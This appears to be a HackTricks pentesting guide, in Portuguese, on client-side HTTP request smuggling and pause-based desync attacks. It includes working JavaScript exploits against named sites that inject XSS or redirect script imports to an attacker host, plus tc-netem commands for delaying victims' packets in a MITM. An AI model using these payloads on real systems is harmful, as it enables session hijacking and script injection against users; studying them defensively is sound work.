hacktricks/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md
2023-06-06 18:56:34 +00:00

24 KiB

Browser HTTP Request Smuggling

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Desvio de solicitação HTTP do navegador

Tradução para referência

Esta vulnerabilidade ocorre quando o cabeçalho Content Length (CL) é completamente ignorado pelo servidor backend. Em seguida, o back-end trata o corpo como o início do método da segunda solicitação. Ignorar o CL é equivalente a tratá-lo como tendo um valor de 0, portanto, este é um desvio CL.0 - uma classe de ataque conhecida, mas menos explorada.

O ataque foi possível porque o servidor back-end simplesmente não esperava uma solicitação POST.

{% hint style="warning" %} Observe que essa vulnerabilidade está sendo acionada por uma solicitação HTTP completamente válida e compatível com a especificação. Isso significa que o front-end não tem chance de proteger contra ela e até mesmo um navegador pode acioná-la. {% endhint %}

A única diferença entre CL.0 e H2.0 é que o segundo está usando HTTP2 (que tem um cabeçalho de comprimento de conteúdo implícito), mas o backend também não está usando isso.

Desvio do lado do cliente

Os ataques de desvio tradicionais envenenam a conexão entre um servidor front-end e back-end, portanto, são impossíveis em sites que não usam uma arquitetura front-end/back-end. A partir de agora, esses são os desvios do lado do servidor. A maioria dos desvios do lado do servidor só pode ser acionada por um cliente HTTP personalizado que emite uma solicitação malformada.

A capacidade de um navegador causar um desvio permite uma nova classe inteira de ameaças chamada desvio do lado do cliente (CSD).
Um ataque CSD começa com a vítima visitando o site do atacante, que então faz com que o navegador envie duas solicitações de domínio cruzado para o site vulnerável. A primeira solicitação é criada para desviar a conexão do navegador e fazer com que a segunda solicitação acione uma resposta prejudicial, geralmente dando ao atacante o controle da conta da vítima.

Detectar

Um vetor CSD é uma solicitação HTTP com duas propriedades chave.

Primeiro, o servidor deve ignorar o Content-Length (CL) da solicitação. Isso geralmente acontece porque a solicitação acionou um erro do servidor ou o servidor simplesmente não esperava uma solicitação POST para o endpoint escolhido. Tente direcionar arquivos estáticos e redirecionamentos de nível de servidor, e acionar erros por meio de URLs muito longos e semi-malformados como /%2e%2e.

Em segundo lugar, a solicitação deve ser acionável em um navegador da web de domínio cruzado. Os navegadores restringem severamente o controle sobre solicitações de domínio cruzado, portanto, você tem controle limitado sobre cabeçalhos e, se sua solicitação tiver um corpo, precisará usar o método HTTP POST. Em última análise, você só controla a URL, além de algumas coisas como o cabeçalho Referer, o corpo e a última parte do Content-Type.

Testando a ignorância do CL

A maneira de testar essa configuração incorreta é enviar 2 solicitações e desviar uma no meio. Se a conexão desviada afetou a resposta da segunda solicitação, significa que ela é vulnerável:

{% hint style="warning" %} Observe que você não pode testar essa vulnerabilidade apenas enviando um Content-Length maior do que o enviado e procurando um tempo limite porque alguns servidores respondem mesmo se eles não receberam todo o corpo. {% endhint %}

É importante observar se o site de destino suporta HTTP/2. Os ataques CSD geralmente exploram a reutilização de conexão HTTP/1.1 e os navegadores da web preferem usar HTTP/2 sempre que possível, portanto, se o site de destino suportar HTTP/2, seus ataques provavelmente não funcionarão. Há uma exceção; alguns proxies avançados não suportam HTTP/2, então você pode explorar qualquer pessoa que os use. Isso inclui proxies corporativos, certas VPNs intrusivas e até algumas ferramentas de segurança.

Confirmar

Primeiro, selecione um site para lançar o ataque. Este site deve ser acessado por HTTPS e localizado em um domínio diferente do alvo.

Em seguida, certifique-se de que não tem um proxy configurado, em seguida, navegue até o seu site de ataque. Abra as ferramentas do desenvolvedor e mude para a guia Rede. Para ajudar na depuração de possíveis problemas posteriormente, recomendo fazer os seguintes ajustes:

  • Selecione a caixa de seleção "Preservar log".
  • Clique com o botão direito do mouse nos cabeçalhos das colunas e ative a coluna "ID de conexão".

Mude para o console do desenvolvedor e execute JavaScript para replicar sua sequência de ataque usando fetch(). Isso pode parecer algo como:

```javascript fetch('https://example.com/', { method: 'POST', body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix mode: 'no-cors', // ensure connection ID is visible credentials: 'include' // poison 'with-cookies' pool }).then(() => { location = 'https://example.com/' // use the poisoned connection }) ``` Eu defini o modo de busca **'no-cors'** para garantir que o Chrome **exiba o ID de conexão** na guia de Rede. Também defini **credentials: 'include'** porque o Chrome tem [**duas piscinas de conexão separadas**](https://www.chromium.org/developers/design-documents/network-stack/preconnect) - uma para solicitações com cookies e outra para solicitações sem. Geralmente, você deseja explorar **navegações**, e essas **usam a piscina 'com-cookies'**, então vale a pena se acostumar a sempre envenenar essa piscina.

Quando você executar isso, deverá ver duas solicitações na guia de Rede com o mesmo ID de conexão, e a segunda deve acionar um 404:

Se isso funcionar conforme o esperado, parabéns - você encontrou uma dessincronização do lado do cliente!

Exploração - Armazenar

Uma opção é identificar a funcionalidade no site de destino que permite armazenar dados de texto, e criar o prefixo para que os cookies, cabeçalhos de autenticação ou senha da vítima acabem sendo armazenados em algum lugar que você possa recuperá-los. Este fluxo de ataque funciona quase identicamente ao desvio de solicitação do lado do servidor, então não vou me deter nisso.

Exploração - Encadear e girar

Em circunstâncias normais, muitas classes de ataque do lado do servidor só podem ser lançadas por um invasor com acesso direto ao site de destino, pois dependem de solicitações HTTP que os navegadores se recusam a enviar, como manipulação de cabeçalhos HTTP - envenenamento de cache da web, a maioria dos desvios de solicitação do lado do servidor, ataques de cabeçalho de host, baseados em User-Agent SQLi, CSRF JSON Content-type e muitos outros.

O caminho mais simples para um ataque bem-sucedido veio de duas técnicas-chave geralmente usadas para ataques de dessincronização do lado do servidor: envenenamento de recursos JavaScript via redirecionamentos de cabeçalho de host, e usando o método HEAD para emendar uma resposta com HTML prejudicial. Ambas as técnicas precisavam ser adaptadas para superar alguns desafios novos associados à operação no navegador da vítima.

Exemplos de exploração

Exemplo de HEAD empilhado

  • Exploit colorido

  • Exploit JS
fetch('https://www.capitalone.ca/assets', {
    method: 'POST',
    // use a cache-buster to delay the response
    body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
    credentials: 'include',
    mode: 'cors' // throw an error instead of following redirect
}).catch(() => {
    location = 'https://www.capitalone.ca/'
})va

Explicação:

  • Abuso de CL.0 em /assets (ele redireciona para /assets/ e não verifica o CL)
  • Contrabandear uma solicitação HEAD (porque as respostas HEAD ainda contêm um content-length)
  • Contrabandear uma solicitação GET cujo conteúdo será refletido na resposta com o payload.
    • Devido ao content-length do req HEAD, a resposta desta solicitação será o corpo do req HEAD
  • Definir o modo cors. Normalmente, isso não é feito, mas neste caso, a resposta do servidor para o POST inicial é um redirecionamento que, se seguido, o exploit não funcionará. Portanto, o modo cors é usado para disparar um erro e redirecionar a vítima com o catch.

Redirecionamento de cabeçalho de host + envenenamento de cache do lado do cliente

  • exploit JS
fetch('https://redacted/', {
    method: 'POST',
    body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
    credentials: 'include'}
).catch(() => { location='https://redacted/+CSCOE+/win.js' })
  • Uma solicitação para /+webvpn+/ com um domínio diferente no cabeçalho Host é respondida com um redirecionamento para /+webvpn+/index.html para aquele domínio dentro do cabeçalho Host.
  • A localização na segunda solicitação é definida como /+CSCOE+/win.js para envenenar o cache desse arquivo .js.
    • Esta solicitação será respondida com o redirecionamento de /+webvpn+/ para o domínio do atacante com o caminho /+webvpn+/index.html.
  • O cache de win.js será envenenado com um redirecionamento para a página do atacante, mas também a vítima seguirá o redirecionamento, pois foi atribuído à variável location e acabará na página da web do atacante.
  • O atacante então redirecionará a vítima para https://redacted/+CSCOE+/logon.html. Esta página importará /+CSCOE+/win.js. Cujo cache é um redirecionamento para o servidor do atacante, portanto, o atacante pode responder com um JS malicioso.

A vítima acessará a página do atacante duas vezes, na primeira ela espera um HTML que redirecione a vítima de volta para https://redacted/+CSCOE+/logon.html e na segunda ela espera código javascript (a carga útil). Um poliglota pode ser usado para servir ambas as respostas em apenas uma:

HTTP/1.1 200 OK
Content-Type: text/html

alert('oh dear')/*<script>location = 'https://redacted/+CSCOE+/logon.html'</script>*/

Payload HEAD com TE chunked

Ao procurar por CSD, você também pode testar URLs semi-malformadas como /..%2f ou /%2f.

  • Exploração colorida

  • Exploração JS
fetch('https://www.verisign.com/%2f', { 
    method: 'POST',
    body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`, 
    credentials: 'include',
    headers: {'Content-Type': 'application/x-www-form-urlencoded'
}}).catch(() => {
    let form = document.createElement('form')
    form.method = 'POST'
    form.action = 'https://www.verisign.com/robots.txt'
    form.enctype = 'text/plain'
    let input = document.createElement('input')
    input.name = '0\r\n\r\nGET /<svg/onload=alert(1)> HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n'
    input.value = ''
    form.appendChild(input)
    document.body.appendChild(form)
    form.submit()
}
  • A página /%2f é acessada para explorar a vulnerabilidade CL.0.
  • Um pedido HEAD é contrabandeado usando o cabeçalho Transfer-Encoding: chunked.
    • Esse cabeçalho é necessário nesse cenário porque, caso contrário, o servidor se recusa a aceitar um pedido HEAD com um corpo.
  • Em seguida, o usuário envia um POST cujo corpo contém o último chunk do pedido HEAD anterior e um novo pedido que é contrabandeado com conteúdo (a carga útil JS) que será refletido na resposta.
    • Portanto, o navegador tratará a resposta ao HEAD como a resposta ao pedido POST que também contém no corpo da resposta que reflete a entrada do usuário no segundo pedido contrabandeado.

Redirecionamento de cabeçalho de host + RC

  • JS Exploit
<script>
    function reset() {
        fetch('https://vpn.redacted/robots.txt', 
            {mode: 'no-cors', credentials: 'include'}
        ).then(() => {
            x.location = "https://vpn.redacted/dana-na/meeting/meeting_testjs.cgi?cb="+Date.now()
        })
        setTimeout(poison, 120) // worked on 140. went down to 110
    }

    function poison(){
        sendPoison()
        sendPoison()
        sendPoison()
        setTimeout(reset, 1000)
    }

    function sendPoison(){
        fetch('https://vpn.redacted/dana-na/css/ds_1234cb049586a32ce264fd67d524d7271e4affc0e377d7aede9db4be17f57fc1.css', 
            {
                method: 'POST',
                body: "GET /xdana-na/imgs/footerbg.gif HTTP/1.1\r\nHost: x.psres.net\r\nFoo: '+'a'.repeat(9826)+'\r\nConnection: keep-alive\r\n\r\n",
                mode: 'no-cors', 
                credentials: 'include'
            }
        )
    }

</script>
<a onclick="x = window.open('about:blank'); reset()">Start attack</a>

Neste caso, novamente, há um redirecionamento de cabeçalho de host que poderia ser usado para sequestrar uma importação de JS. No entanto, desta vez, o redirecionamento não é armazenável em cache, então a contaminação de cache do lado do cliente não é uma opção.

Portanto, o ataque realizado fará com que a vítima acesse a página vulnerável em uma guia e, em seguida, antes da página tentar carregar um arquivo JS, contamine as conexões de contrabando de soquete (3 neste caso).
Como o tempo tem que ser extremamente preciso, o ataque é realizado contra uma nova guia em cada iteração até que funcione.

{% hint style="warning" %} Tenha em mente que, neste caso, /meeting_testjs.cgi foi atacado porque carrega um Javascript que está respondendo com um 404, então não está em cache. Em outros cenários em que você tenta atacar um JS que está em cache, você precisa esperar que ele desapareça do cache antes de lançar um novo ataque. {% endhint %}

Passos resumidos:

  • Abra uma nova janela.
  • Emita uma solicitação inofensiva ao alvo para estabelecer uma conexão nova, tornando os tempos mais consistentes.
  • Navegue na janela para a página de destino em /meeting_testjs.cgi.
  • 120ms depois, crie três conexões contaminadas usando o gadget de redirecionamento.
  • 5ms depois, enquanto renderiza /meeting_testjs.cgi, a vítima tentará importar /appletRedirect.js e será redirecionada para x.psres.net, que serve JS malicioso.
  • Se não, tente novamente o ataque.

Desincronização baseada em pausa

A pausa também pode criar novas vulnerabilidades de desincronização, desencadeando implementações de tempo limite de solicitação equivocadas.

Assim, um atacante pode enviar uma solicitação com cabeçalhos indicando que há um corpo, e então esperar que o front-end expire antes de enviar o corpo. Se o front-end expirar, mas deixar a conexão aberta, o corpo dessa solicitação será tratado como uma nova solicitação.

Exemplo: Varnish

O cache do Varnish tem um recurso chamado synth(), que permite emitir uma resposta sem encaminhar a solicitação para o back-end. Aqui está um exemplo de regra sendo usada para bloquear o acesso a uma pasta:

if (req.url ~ "^/admin") {
    return (synth(403, "Forbidden"));
}

Quando processa uma solicitação parcial que corresponde a uma regra sintética, o Varnish expira se não receber dados por 15 segundos. Quando isso acontece, ele deixa a conexão aberta para reutilização, mesmo que tenha lido apenas metade da solicitação do soquete. Isso significa que, se o cliente seguir com a segunda metade da solicitação HTTP, ela será interpretada como uma nova solicitação.

Para desencadear uma dessincronização baseada em pausa em um front-end vulnerável, comece enviando seus cabeçalhos, prometendo um corpo e, em seguida, apenas espere. Eventualmente, você receberá uma resposta e, quando finalmente enviar o corpo da solicitação, ele será interpretado como uma nova solicitação:

{% hint style="warning" %} Aparentemente, isso foi corrigido em 25 de janeiro como CVE-2022-23959. {% endhint %}

Exemplo: Apache

Assim como o Varnish, ele é vulnerável em pontos finais onde o servidor gera a resposta por si só, em vez de deixar a aplicação lidar com a solicitação. Uma maneira como isso acontece é com redirecionamentos em nível de servidor: Redirect 301 / /en

Exploração do lado do servidor

Se o servidor vulnerável (Apache ou Varnish, neste caso) estiver no back-end, é necessário um front-end que transmita a solicitação para o servidor de back-end (cabeçalhos HTTP, neste caso) sem armazenar em buffer todo o corpo da solicitação.

Nesse caso, o atacante não receberá o tempo limite de resposta até que tenha enviado o corpo. Mas se ele conhece o tempo limite, isso não deve ser um problema.

O Application Load Balancer (ALB) da Amazon irá transmitir os dados da conexão conforme necessário, mas se ele receber a resposta para a metade da solicitação (o tempo limite) antes de receber o corpo, ele não enviará o corpo, então uma condição de corrida deve ser explorada aqui:

Há uma complicação adicional quando se trata de explorar o Apache atrás do ALB - ambos os servidores têm um tempo limite padrão de 60 segundos. Isso deixa uma janela de tempo extremamente pequena para enviar a segunda parte da solicitação. O ataque RC foi bem-sucedido após 66 horas.

Exploração MITM

Aparentemente, não é possível interromper uma solicitação do navegador para explorar uma vulnerabilidade de pausa-desincronização. No entanto, você sempre pode realizar um ataque MITM para pausar uma solicitação enviada pelo navegador. Observe que este ataque não depende de descriptografar nenhum tráfego.

O fluxo do ataque é muito semelhante a um ataque de dessincronização regular do lado do cliente. O usuário visita uma página controlada pelo atacante, que emite uma série de solicitações entre domínios para a aplicação de destino. A primeira solicitação HTTP é intencionalmente preenchida para ser tão grande que o sistema operacional a divide em vários pacotes TCP, permitindo que um MITM ativo atrase o pacote final, desencadeando uma dessincronização baseada em pausa. Devido ao preenchimento, o atacante pode identificar qual pacote pausar simplesmente com base no tamanho.

Do lado do cliente, parece um dessincronização regular do lado do cliente usando o gadget HEAD, além do preenchimento da solicitação:

let form = document.createElement('form')
form.method = 'POST'
form.enctype = 'text/plain'
form.action = 'https://x.psres.net:6082/redirect?'+"h".repeat(600)+ Date.now()
let input = document.createElement('input')
input.name = "HEAD / HTTP/1.1\r\nHost: x\r\n\r\nGET /redirect?<script>alert(document.domain)</script> HTTP/1.1\r\nHost: x\r\nFoo: bar"+"\r\n\r\n".repeat(1700)+"x"
input.value = "x"
form.append(input)
document.body.appendChild(form)
form.submit()

No sistema do atacante realizando o MITM cego, o atraso foi implementado usando tc-NetEm:

# Setup
tc qdisc add dev eth0 root handle 1: prio priomap

# Flag packets to 34.255.5.242 that are between 700 and 1300 bytes
tc filter add dev eth0 protocol ip parent 1:0 prio 1 basic \
match 'u32(u32 0x22ff05f2 0xffffffff at 16)' \
and 'cmp(u16 at 2 layer network gt 0x02bc)' \
and 'cmp(u16 at 2 layer network lt 0x0514)' \
flowid 1:3

# Delay flagged packets by 61 seconds
tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥